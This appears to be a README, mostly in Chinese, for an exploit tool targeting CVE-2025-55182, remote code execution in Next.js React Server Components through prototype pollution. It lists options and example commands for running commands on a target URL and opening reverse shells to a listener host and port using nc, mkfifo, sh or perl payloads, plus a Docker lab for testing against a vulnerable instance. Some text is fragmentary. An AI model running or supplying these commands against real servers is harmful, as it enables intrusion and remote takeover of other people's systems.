mr-destroyer/cve-2025-55182针对 CVE-2025-55182 的漏洞利用工具，通过 Next.js React Server Components 中的原型污染实现远程代码执行，具备命令执行和反弹 Shell 功能。
-r, --reverse: 启用反弹 Shell 模式-l, --lhost: 反弹 Shell 的监听主机-p, --lport: 反弹 Shell 的监听端口-P, --payload: 反弹 Shell 载荷类型：nc、nc-mkfifo、sh、perl（默认：nc）--timeout: 请求超时时间（秒，默认：10）# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
lab/ 目录包含用于测试该漏洞利用的完整 Docker 配置。
cd lab
docker-compose up -d
这将启动两个服务：
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo